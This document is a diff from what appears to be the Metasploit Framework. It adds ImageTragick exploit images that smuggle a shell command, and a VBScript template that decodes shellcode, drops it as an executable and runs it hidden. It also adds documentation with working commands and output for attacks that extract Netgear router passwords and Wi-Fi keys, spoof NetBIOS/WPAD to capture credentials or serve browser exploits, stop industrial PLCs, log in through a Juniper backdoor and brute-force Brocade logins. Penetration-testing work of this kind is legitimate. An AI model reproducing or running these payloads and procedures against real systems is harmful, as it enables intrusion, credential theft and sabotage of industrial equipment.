Before Width: | Height: | Size: 593 B After Width: | Height: | Size: 593 B |
@@ -0,0 +1,14 @@
|
||||
id=ImageMagick version=1.0
|
||||
class=DirectClass colors=0 matte=False
|
||||
columns=1 rows=1 depth=16
|
||||
colorspace=sRGB
|
||||
page=1x1+0+0
|
||||
rendering-intent=Perceptual
|
||||
gamma=0.454545
|
||||
red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
|
||||
white-point=0.3127,0.329
|
||||
date:create=2016-05-04T00:19:42-05:00
|
||||
date:modify=2016-05-04T00:19:42-05:00
|
||||
label={";touch vulnerable"}
|
||||
|
||||
:ÿÿÿÿÿÿ
|
||||
@@ -0,0 +1,8 @@
|
||||
push graphic-context
|
||||
encoding "UTF-8"
|
||||
viewbox 0 0 1 1
|
||||
affine 1 0 0 1 0 0
|
||||
push graphic-context
|
||||
image Over 0,0 1,1 '|touch vulnerable'
|
||||
pop graphic-context
|
||||
pop graphic-context
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
|
||||
xlink:href="|touch vulnerable" />
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 480 B |
Binary file not shown.
@@ -15,5 +15,5 @@
|
||||
| %bld[ OK ]%clr |
|
||||
|______________________________________________________________________________|
|
||||
| |
|
||||
| http://metasploit.pro |
|
||||
| http://metasploit.com |
|
||||
|______________________________________________________________________________|%clr
|
||||
|
||||
@@ -18,4 +18,4 @@
|
||||
%bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr
|
||||
%bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr
|
||||
%bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr
|
||||
%clr%bld http://metasploit.pro
|
||||
%clr%bld http://metasploit.com
|
||||
|
||||
@@ -27,4 +27,4 @@
|
||||
################################################################################
|
||||
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
################################################################################
|
||||
http://metasploit.pro%clr
|
||||
http://metasploit.com%clr
|
||||
|
||||
@@ -27,4 +27,4 @@
|
||||
# # ### # # ##
|
||||
########################
|
||||
## ## ## ##
|
||||
http://metasploit.pro%clr
|
||||
http://metasploit.com%clr
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% http://metasploit.pro %%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% http://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
@@ -23,4 +23,4 @@
|
||||
; ,''-,;' ``-
|
||||
``-..__``--`
|
||||
|
||||
http://metasploit.pro%clr
|
||||
http://metasploit.com%clr
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
On Error Resume Next
|
||||
|
||||
Function WindowsZip(sFile, sZipFile)
|
||||
'This script is provided under the Creative Commons license located
|
||||
'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
|
||||
'be used for commercial purposes with out the expressed written consent
|
||||
'of NateRice.com
|
||||
|
||||
Set oZipShell = CreateObject("WScript.Shell")
|
||||
Set oZipFSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
If Not oZipFSO.FileExists(sZipFile) Then
|
||||
NewZip(sZipFile)
|
||||
End If
|
||||
|
||||
Set oZipApp = CreateObject("Shell.Application")
|
||||
|
||||
sZipFileCount = oZipApp.NameSpace(sZipFile).items.Count
|
||||
|
||||
aFileName = Split(sFile, "\")
|
||||
sFileName = (aFileName(Ubound(aFileName)))
|
||||
|
||||
'listfiles
|
||||
sDupe = False
|
||||
For Each sFileNameInZip In oZipApp.NameSpace(sZipFile).items
|
||||
If LCase(sFileName) = LCase(sFileNameInZip) Then
|
||||
sDupe = True
|
||||
Exit For
|
||||
End If
|
||||
Next
|
||||
|
||||
If Not sDupe Then
|
||||
oZipApp.NameSpace(sZipFile).Copyhere sFile
|
||||
|
||||
'Keep script waiting until Compressing is done
|
||||
On Error Resume Next
|
||||
sLoop = 0
|
||||
Do Until sZipFileCount < oZipApp.NameSpace(sZipFile).Items.Count
|
||||
Wscript.Sleep(100)
|
||||
sLoop = sLoop + 1
|
||||
Loop
|
||||
On Error GoTo 0
|
||||
End If
|
||||
End Function
|
||||
|
||||
Sub NewZip(sNewZip)
|
||||
'This script is provided under the Creative Commons license located
|
||||
'at http://creativecommons.org/licenses/by-nc/2.5/ . It may not
|
||||
'be used for commercial purposes with out the expressed written consent
|
||||
'of NateRice.com
|
||||
|
||||
Set oNewZipFSO = CreateObject("Scripting.FileSystemObject")
|
||||
Set oNewZipFile = oNewZipFSO.CreateTextFile(sNewZip)
|
||||
|
||||
oNewZipFile.Write Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18, 0)
|
||||
|
||||
oNewZipFile.Close
|
||||
Set oNewZipFSO = Nothing
|
||||
|
||||
Wscript.Sleep(500)
|
||||
End Sub
|
||||
|
||||
@@ -1,23 +1,31 @@
|
||||
Function %{var_func}()
|
||||
%{var_shellcode} = "%{hex_shellcode}"
|
||||
Function %{var_decodefunc}(%{var_decodebase64})
|
||||
%{var_xml} = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
|
||||
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
|
||||
%{var_decodebase64} & "</B64DECODE>"
|
||||
Set %{var_xmldoc} = CreateObject("MSXML2.DOMDocument.3.0")
|
||||
%{var_xmldoc}.LoadXML(%{var_xml})
|
||||
%{var_decodefunc} = %{var_xmldoc}.selectsinglenode("B64DECODE").nodeTypedValue
|
||||
set %{var_xmldoc} = nothing
|
||||
End Function
|
||||
|
||||
Function %{var_func}()
|
||||
%{var_shellcode} = "%{base64_shellcode}"
|
||||
Dim %{var_obj}
|
||||
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
|
||||
Dim %{var_stream}
|
||||
Dim %{var_tempdir}
|
||||
Dim %{var_tempexe}
|
||||
Dim %{var_basedir}
|
||||
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
|
||||
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
|
||||
%{var_obj}.CreateFolder(%{var_basedir})
|
||||
%{var_tempexe} = %{var_basedir} & "\" & "%{exe_filename}"
|
||||
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
|
||||
For i = 1 to Len(%{var_shellcode}) Step 2
|
||||
%{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2)))
|
||||
Next
|
||||
%{var_stream}.Close
|
||||
Dim %{var_shell}
|
||||
Set %{var_shell} = CreateObject("Wscript.Shell")
|
||||
%{var_decoded} = %{var_decodefunc}(%{var_shellcode})
|
||||
Set %{var_adodbstream} = CreateObject("ADODB.Stream")
|
||||
%{var_adodbstream}.Type = 1
|
||||
%{var_adodbstream}.Open
|
||||
%{var_adodbstream}.Write %{var_decoded}
|
||||
%{var_adodbstream}.SaveToFile %{var_tempexe}, 2
|
||||
%{var_shell}.run %{var_tempexe}, 0, true
|
||||
%{var_obj}.DeleteFile(%{var_tempexe})
|
||||
%{var_obj}.DeleteFolder(%{var_basedir})
|
||||
|
||||
@@ -660,6 +660,7 @@ fresno
|
||||
front
|
||||
frontdesk
|
||||
fs
|
||||
fs1
|
||||
fsp
|
||||
ftp
|
||||
ftp-
|
||||
@@ -1495,6 +1496,7 @@ shoppers
|
||||
shopping
|
||||
si
|
||||
siebel
|
||||
siem
|
||||
sierra
|
||||
sigma
|
||||
signin
|
||||
|
||||
@@ -1004,3 +1004,4 @@ raspberry
|
||||
74k&^*nh#$
|
||||
arcsight
|
||||
MargaretThatcheris110%SEXY
|
||||
karaf
|
||||
|
||||
@@ -40,6 +40,7 @@ hplip
|
||||
informix
|
||||
install
|
||||
irc
|
||||
karaf
|
||||
kernoops
|
||||
libuuid
|
||||
list
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The following list is a non-exhaustive list of vulnerable Netgear devices:
|
||||
1. R6300v2 < [1.0.3.28](http://kb.netgear.com/app/answers/detail/a_id/28372)
|
||||
2. WNDR3300 - V1.0.45 (current, confirmed vuln)
|
||||
3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln)
|
||||
4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln)
|
||||
5. WNDR3700v4 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28355)
|
||||
6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln)
|
||||
7. WNDR4300 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28037)
|
||||
8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln)
|
||||
9. WNR2000v3 < [1.1.2.12](http://kb.netgear.com/app/answers/detail/a_id/30024)
|
||||
10. WNR2200 < [1.0.1.96](http://kb.netgear.com/app/answers/detail/a_id/28036)
|
||||
11. WNR2500 < [1.0.0.32](http://kb.netgear.com/app/answers/detail/a_id/28351)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/admin/http/netgear_soap_password_extractor```
|
||||
3. Do: ```set rhost <ip>```
|
||||
4. Do: ```run```
|
||||
5. You should get admin info on the device
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example run against wnr2000v3 with firmware 1.1.2.10:
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/http/netgear_soap_password_extractor
|
||||
msf auxiliary(netgear_soap_password_extractor) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf auxiliary(netgear_soap_password_extractor) > run
|
||||
|
||||
[*] Trying to access the configuration of the device
|
||||
[*] Extracting Firmware version...
|
||||
[+] Model wnr2000v3 found
|
||||
[+] Firmware version V1.1.2.10 found
|
||||
[+] Device details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_dev_000157.txt
|
||||
[*] Extracting credentials...
|
||||
[*] Credentials found, extracting...
|
||||
[+] admin / password credentials found
|
||||
[+] Account details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_acc_387111.txt
|
||||
[*] Extracting Wifi...
|
||||
[+] Wifi SSID: NETGEAR44
|
||||
[+] Wifi Encryption: WPA2-PSK
|
||||
[*] Extracting WPA Keys...
|
||||
[+] Wifi Password: netgearpassword22
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,122 @@
|
||||
netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the
|
||||
target to cache a malicious address for this name. By default, the module will attempt to poison
|
||||
WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal
|
||||
sensitive information, or obtain arbitrary code execution.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Windows is the most ideal target because it supports WPAD by default.
|
||||
|
||||
## Options
|
||||
|
||||
**NBADDR**
|
||||
|
||||
The address that the NetBIOS name (NBNAME) should resolve to.
|
||||
|
||||
**NBNAME**
|
||||
|
||||
The NetBIOS name to spoof a reply for.
|
||||
|
||||
**PPSRATE**
|
||||
|
||||
The rate at which to send NetBIOS replies.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Credential Collection Attack Using Targeted NetBIOS Spoofing:**
|
||||
|
||||
The following example uses http_basic, but other modules (such as http_ntlm) also applies.
|
||||
|
||||
Step 1: Start the first Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/server/capture/http_basic```
|
||||
3. ```set REALM google.com```
|
||||
4. ```set URIPATH /```
|
||||
5. ```run```
|
||||
|
||||
Step 2: Start the second Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/admin/netbios/netbios_spoof```
|
||||
3. ```set NBADDR [IP to fake HTTP auth server]```
|
||||
4. ```set PPSRATE 30000```
|
||||
5. ```set RHOST [Target Host]```
|
||||
6. ```run```
|
||||
|
||||
Step 3: On the victim machine:
|
||||
|
||||
1. Make sure IE automatically detects settings (under LAN settings)
|
||||
2. Start IE, as soon as it opens, IE should try to authenticate.
|
||||
|
||||
If the spoofed name has already been cached, you can do this to flush. And then next time IE will
|
||||
be asked for credentials again.
|
||||
|
||||
```
|
||||
ipconfig /flushdns
|
||||
```
|
||||
|
||||
**Arbitrary Code Execution Using Targeted NetBIOS Spoofing:**
|
||||
|
||||
The following example will spoof WPAD and causes google.com to redirect to an exploit server.
|
||||
|
||||
Step 1: Start the first Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/server/browser_autopwn2```
|
||||
3. ```set SRVPORT 8181```
|
||||
4. ```run```
|
||||
|
||||
Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.
|
||||
|
||||
Step 2: Install [Squid](http://www.squid-cache.org/) Proxy server (or [SquidMan](http://squidman.net/squidman/) if you use OS X), and edit the configuration file:
|
||||
|
||||
First, uncomment these settings if they are found in the file:
|
||||
|
||||
* http_access deny all
|
||||
* http_access deny !Safe_ports
|
||||
* http_access deny CONNECT !SSL_ports
|
||||
* http_access deny to_localhost
|
||||
* http_access deny all
|
||||
* always_direct deny all
|
||||
|
||||
Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn
|
||||
URL field:
|
||||
|
||||
```
|
||||
acl MyNetwork src 192.168.1.0/24
|
||||
acl BLKSite dstdomain .google.com
|
||||
deny_info [BrowserAutoPwn URL] all
|
||||
http_reply_access deny BLKSite all
|
||||
http_access allow MyNetwork
|
||||
```
|
||||
|
||||
Step 3: Start the second Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/server/wpad```
|
||||
3. ```set PROXY [Proxy IP]```
|
||||
4. ```set PROXYPORT 8080```
|
||||
5. ```run```
|
||||
|
||||
Step 4: Start the third Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/admin/netbios/netbios_spoof```
|
||||
3. ```set NBADDR [IP to fake HTTP server]```
|
||||
4. ```set PPSRATE 30000```
|
||||
5. ```set RHOST [Target Host]```
|
||||
6. ```run```
|
||||
|
||||
Step 5: On the victim machine:
|
||||
|
||||
1. Make sure IE automatically detects settings (under LAN settings)
|
||||
2. Start IE
|
||||
3. Go to google.com, IE should end up loading the exploit server.
|
||||
|
||||
If the spoofed name has already been cached, you can do this to flush.
|
||||
|
||||
```
|
||||
ipconfig /flushdns
|
||||
```
|
||||
|
||||
@@ -0,0 +1,118 @@
|
||||
PhoenixContact Programmable Logic Controllers are built are using a variant of
|
||||
ProConOS. The communicate using a proprietary protocol over ports TCP/1962 and
|
||||
TCP/41100 or TCP/20547. This protocol allows a user to remotely determine the
|
||||
PLC type, firmware and build number on port TCP/1962. A user can also
|
||||
determine the CPU State (Running or Stopped) and start or stop the CPU.
|
||||
|
||||
This functionality is confirmed for the PLC series ILC 15x and 17x on TCP port
|
||||
20547, and for the ILC 39x series on TCP port 41100. Other series may or
|
||||
may not work, but there is a good chance that they will
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This is a hardware zero-day vulnerability that CANNOT be patched. Possible
|
||||
mitigations include: pulling the plug (literally), using network isolation
|
||||
(Firewall, Router, IDS, IPS, network segmentation, etc...) or not allowing bad
|
||||
people on your network.
|
||||
|
||||
Most, if not all, PLC's (computers that control engines, robots, conveyor
|
||||
belts, sensors, camera's, doorlocks, CRACs ...) have vulnerabilities where,
|
||||
using their own tools, remote configuration and programming can be done
|
||||
*WITHOUT* authentication. Investigators and underground hackers are just now
|
||||
creating simple tools to convert the, often proprietary, protocols into simple
|
||||
scripts. The operating word here is proprietary. Right now, the only thing
|
||||
stopping very bad stuff from happening. PhoenixContact uses an (unnamed?)
|
||||
low-level protocol for connection, information exchange and configuration of
|
||||
its PLC devices. This script utilizes that protocol for finding information
|
||||
and switching the PLC mode from STOP to RUN and vice-versa.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
The following demonstrates a basic scenario, we "found" two devices with an open port TCP/1962:
|
||||
|
||||
```
|
||||
msf > search phoenix
|
||||
msf > use auxiliary/admin/scada/phoenix_command
|
||||
msf auxiliary(phoenix_command) > set RHOST 10.66.56.12
|
||||
RHOST => 10.66.56.12
|
||||
msf auxiliary(phoenix_command) > run
|
||||
|
||||
[*] 10.66.56.12:0 - PLC Type = ILC 150 GSM/GPRS
|
||||
[*] 10.66.56.12:0 - Firmware = 3.71
|
||||
[*] 10.66.56.12:0 - Build = 07/13/11 12:00:00
|
||||
[*] 10.66.56.12:0 - ------------------------------------
|
||||
[*] 10.66.56.12:0 - --> Detected 15x/17x series, getting current CPU state:
|
||||
[*] 10.66.56.12:0 - CPU Mode = RUN
|
||||
[*] 10.66.56.12:0 - ------------------------------------
|
||||
[*] 10.66.56.12:0 - --> No action specified (NOOP), stopping here
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf auxiliary(phoenix_command) > set RHOST 10.66.56.72
|
||||
RHOST => 10.66.56.72
|
||||
msf auxiliary(phoenix_command) > set ACTION REV
|
||||
ACTION => REV
|
||||
msf auxiliary(phoenix_command) > run
|
||||
[*] 10.66.56.72:0 - PLC Type = ILC 390 PN 2TX-IB
|
||||
[*] 10.66.56.72:0 - Firmware = 3.95
|
||||
[*] 10.66.56.72:0 - Build = 02/14/11 14:04:47
|
||||
[*] 10.66.56.72:0 - ------------------------------------
|
||||
[*] 10.66.56.72:0 - --> Detected 39x series, getting current CPU state:
|
||||
[*] 10.66.56.72:0 - CPU Mode = RUN
|
||||
[*] 10.66.56.72:0 - ------------------------------------
|
||||
[*] 10.66.56.72:0 - --> Sending STOP now
|
||||
[*] 10.66.56.72:0 - CPU Mode = STOP
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Module Options
|
||||
```
|
||||
msf auxiliary(phoenix_command) > show options
|
||||
|
||||
Module options (auxiliary/admin/scada/phoenix_command):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACTION NOOP yes PLC CPU action, REV means reverse state (Accepted: STOP, START, REV, NOOP)
|
||||
RHOST yes The target address
|
||||
RINFOPORT 1962 yes Set info port
|
||||
RPORT no Set action port, will try autodetect when not set
|
||||
```
|
||||
|
||||
By default, the module only reads out the PLC Type, Firmware version, Build
|
||||
date and current CPU mode (RUNing or STOPed)
|
||||
|
||||
The first three pieces of data (Type, Firmware & Build) are always found on
|
||||
port TCP/1962 (there is no way of changing that port on the PLC, so also no
|
||||
reason to change the 'RINFOPORT' option)
|
||||
|
||||
The CPU mode uses a TCP port depending on the PLC Type, the module will
|
||||
automatically detect the type and port to use, but can be overridden with the
|
||||
'RPORT' option, however no real reason to configure it. If you accidentally set RPORT, you can unset it with the ```unset RPORT``` command.
|
||||
|
||||
**The ACTION option**
|
||||
|
||||
Action has four possible values:
|
||||
|
||||
By default, the module will do nothing to the PLC, therefore No Operation or 'NOOP':
|
||||
|
||||
```
|
||||
msf auxiliary(phoenix_command) > set ACTION NOOP
|
||||
```
|
||||
|
||||
The PLC can be forced to go into STOP mode, meaning it stops all execution and all outputs are set to low:
|
||||
|
||||
```
|
||||
msf auxiliary(phoenix_command) > set ACTION STOP
|
||||
```
|
||||
|
||||
The PLC can be forced to go into RUN mode, where it keeps running it was or it will start executing its current boot programming:
|
||||
|
||||
```
|
||||
msf auxiliary(phoenix_command) > set ACTION START
|
||||
```
|
||||
|
||||
The module can also just read out the CPU mode and then reverse whatever it finds, RUN becomes STOP, STOP becomes RUN:
|
||||
|
||||
```
|
||||
msf auxiliary(phoenix_command) > set ACTION REV
|
||||
```
|
||||
@@ -0,0 +1,40 @@
|
||||
Symantec Messaging Gateway is an all-in-one appliance to secure email with real-time antispam,
|
||||
antimalware, targeted attacks, content filtering, data loss, and email encryption.
|
||||
|
||||
The management console of SMG can be used to recover the AD password by any user with at least
|
||||
read access to the appliance, which could potentially permit leveraging unauthorized, elevated
|
||||
access to other resources of the network.
|
||||
|
||||
Authentication is required to use symantec_brightmail_ldapcreds. However, it is possible to see
|
||||
SMG with using the default username **admin** and **symantec**.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Symantec Messaging Gateway 10.6.0 and earlier are known to be vulnerable.
|
||||
|
||||
symantec_brightmail_ldapcreds was specifically tested against 10.6.0 during development.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
These verification steps assume you already have access to the vulnerable version of
|
||||
[Symantec Messaging Gateway](https://www.symantec.com/products/threat-protection/messaging-gateway).
|
||||
During the development of symantec_brightmail_ldapcreds, Symantec was still providing 10.6.0 as a trial.
|
||||
|
||||
**Installation**
|
||||
|
||||
The 10.6.0 installation guide can be found [here](https://symwisedownload.symantec.com//resources/sites/SYMWISE/content/live/DOCUMENTATION/9000/DOC9108/en_US/smg_10.6_installation_guide.pdf?__gda__=1465490103_20360f5503fd3ef6ce426bd541fd2109)
|
||||
|
||||
Make sure you remember your username and password for Symantec Messaging Gateway before using
|
||||
the module.
|
||||
|
||||
**Using the Module**
|
||||
|
||||
Once you have the vulnerable setup ready, go ahead and do this:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/scanner/http/symantec_brightmail_ldapcreds```
|
||||
3. Do: ```set RHOSTS [IP]```
|
||||
4. Do: ```set USERNAME [USERNAME FOR SMG]```
|
||||
5. Do: ```set PASSWORD [PASSWORD FOR SMG]```
|
||||
6. Do: ```run```
|
||||
@@ -0,0 +1,29 @@
|
||||
Jenkins is an open source tool that provides continuous integration services for software
|
||||
development. This module will attempt to find Jenkins servers by performing a UDP
|
||||
broadcast.
|
||||
|
||||
To use this module, you should be on the same network as the Jenkins server(s).
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To test this module, you must make sure there is at least one Jenkins server on the same network.
|
||||
To download Jenkins, please follow this link:
|
||||
|
||||
[https://jenkins.io/](https://jenkins.io/)
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
Unlike most Metasploit modules, jenkins_udp_broadcast_enum does not have any datastore options
|
||||
to configure. So all you have to do is load it, and run, like this:
|
||||
|
||||
```
|
||||
msf auxiliary(jenkins_udp_broadcast_enum) > run
|
||||
|
||||
[*] Sending Jenkins UDP Broadcast Probe ...
|
||||
[*] 192.168.1.96 - Found Jenkins Server 1.638 Version
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Once you have found the Jenkins server, you should be able to browse to the web server.
|
||||
And by default, that port is 8080.
|
||||
@@ -0,0 +1,91 @@
|
||||
ClamAV is an open source antivirus engine for detecting trojans, viruses, malare, and other
|
||||
malicious threats.
|
||||
|
||||
clamav_control takes advantage of a possible misconfiguration in the ClamAV service on release
|
||||
0.99.2 if the service is tied to a socket, and allows you fingerprint the version, and being
|
||||
able to shut down the service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
To install ClamAV from Ubuntu:
|
||||
|
||||
```
|
||||
$ sudo apt-get install clamav clamav-daemon
|
||||
$ sudo freshclam
|
||||
```
|
||||
|
||||
You might also need to add the following to /etc/clamav/clamd.conf:
|
||||
|
||||
```
|
||||
# TCP port address.
|
||||
# Default: no
|
||||
TCPSocket 3310
|
||||
|
||||
# TCP address.
|
||||
# By default we bind to INADDR_ANY, probably not wise.
|
||||
# Enable the following to provide some degree of protection
|
||||
# from the outside world.
|
||||
# Default: no
|
||||
TCPAddr 0.0.0.0
|
||||
|
||||
# Maximum length the queue of pending connections may grow to.
|
||||
# Default: 15
|
||||
MaxConnectionQueueLength 30
|
||||
|
||||
# Clamd uses FTP-like protocol to receive data from remote clients.
|
||||
# If you are using clamav-milter to balance load between remote clamd daemons
|
||||
# on firewall servers you may need to tune the options below.
|
||||
|
||||
# Close the connection when the data size limit is exceeded.
|
||||
# The value should match your MTA's limit for a maximum attachment size.
|
||||
# Default: 10M
|
||||
StreamMaxLength 55M
|
||||
|
||||
# Limit port range.
|
||||
# Default: 1024
|
||||
#StreamMinPort 30000
|
||||
# Default: 2048
|
||||
#StreamMaxPort 32000
|
||||
|
||||
# Maximum number of threads running at the same time.
|
||||
# Default: 10
|
||||
MaxThreads 50
|
||||
|
||||
# Waiting for data from a client socket will timeout after this time (seconds).
|
||||
# Value of 0 disables the timeout.
|
||||
# Default: 120
|
||||
ReadTimeout 300
|
||||
|
||||
# Waiting for a new job will timeout after this time (seconds).
|
||||
# Default: 30
|
||||
#IdleTimeout 60
|
||||
|
||||
# Maximum depth directories are scanned at.
|
||||
# Default: 15
|
||||
#MaxDirectoryRecursion 20
|
||||
```
|
||||
|
||||
And finally, start the service:
|
||||
|
||||
```
|
||||
$ sudo /etc/init.d/clamav-daemon start
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
clamav_control comes with two actions:
|
||||
|
||||
**VERSION**
|
||||
|
||||
This is the default action, and shows you the ClamAV version. Output example:
|
||||
|
||||
```
|
||||
msf auxiliary(clamav_control) > run
|
||||
|
||||
[+] 192.168.1.203:3310 - ClamAV 0.98.7/21772/Wed Jun 22 12:54:15 2016
|
||||
```
|
||||
|
||||
**SHUTDOWN**
|
||||
|
||||
This action allows you to shutdown ClamAV. You can also use the VERSION action again to verify
|
||||
whether is service is down or not.
|
||||
@@ -115,3 +115,12 @@ set SMBPass [password]
|
||||
|
||||
Note: If an account has been successfully brute-forced, that account will not be tried again.
|
||||
|
||||
Additionally, if you wish to disable automatic detection of all-access systems, you can change the following option:
|
||||
|
||||
**The DETECT_ANY_AUTH option**
|
||||
|
||||
This option enables detection of systems accepting any authentication. A bogus login will be attempted.
|
||||
|
||||
```
|
||||
set DETECT_ANY_AUTH false
|
||||
```
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Juniper JunOS between 6.2.0r15 to 6.2.0r18 and 6.3.0r12 to 6.3.0r20 are vulnerable.
|
||||
|
||||
A vulnerable copy of the firmware is available for a Juiper SSG5/SSG20 (v6.3.0r19.0): [here](https://github.com/h00die/MSF-Testing-Scripts/tree/master/juniper_firmware)
|
||||
|
||||
For verification puposes, an example vuln python script is also available [here](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ` use auxiliary/scanner/ssh/juniper_backdoor`
|
||||
4. Do: `set rhosts`
|
||||
5. Do: `run`
|
||||
6. You should see: `[+] 192.168.1.1:22 - Logged in with backdoor account admin:<<< %s(un='%s') = %u`
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example run against a Juniper SSG5 with vuln firmware from above link.
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/juniper_backdoor
|
||||
msf auxiliary(juniper_backdoor) > set rhosts 192.168.1.1
|
||||
rhosts => 192.168.1.1
|
||||
msf auxiliary(juniper_backdoor) > set verbose true
|
||||
verbose => true
|
||||
msf auxiliary(juniper_backdoor) > run
|
||||
|
||||
[+] 192.168.1.1:22 - Logged in with backdoor account admin:<<< %s(un='%s') = %u
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,242 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module is a login bruteforcer against Brocade network device's `enable` feature.
|
||||
|
||||
To configure the device in a vulnerable fashion, follow these steps:
|
||||
1. Set authentication mode via: `aaa authentication enable default local`
|
||||
|
||||
This module works against `enable` so we want to ensure telnet itself has no auth
|
||||
**The following should not be set**: `enable telnet authentication`
|
||||
|
||||
This module has been verified against:
|
||||
1. ICX6450-24 SWver 07.4.00bT311
|
||||
2. FastIron WS 624 SWver 07.2.02fT7e1
|
||||
|
||||
An emulator is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_emulator.py)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the emulator or device
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/telnet/brocade_enable_login`
|
||||
4. Create/set a password file: `set pass_file /<passwords.lst>`
|
||||
5. If desired: `set user_as_pass true`
|
||||
6. Do: `set rhosts <ip>`
|
||||
7. Do: `run`
|
||||
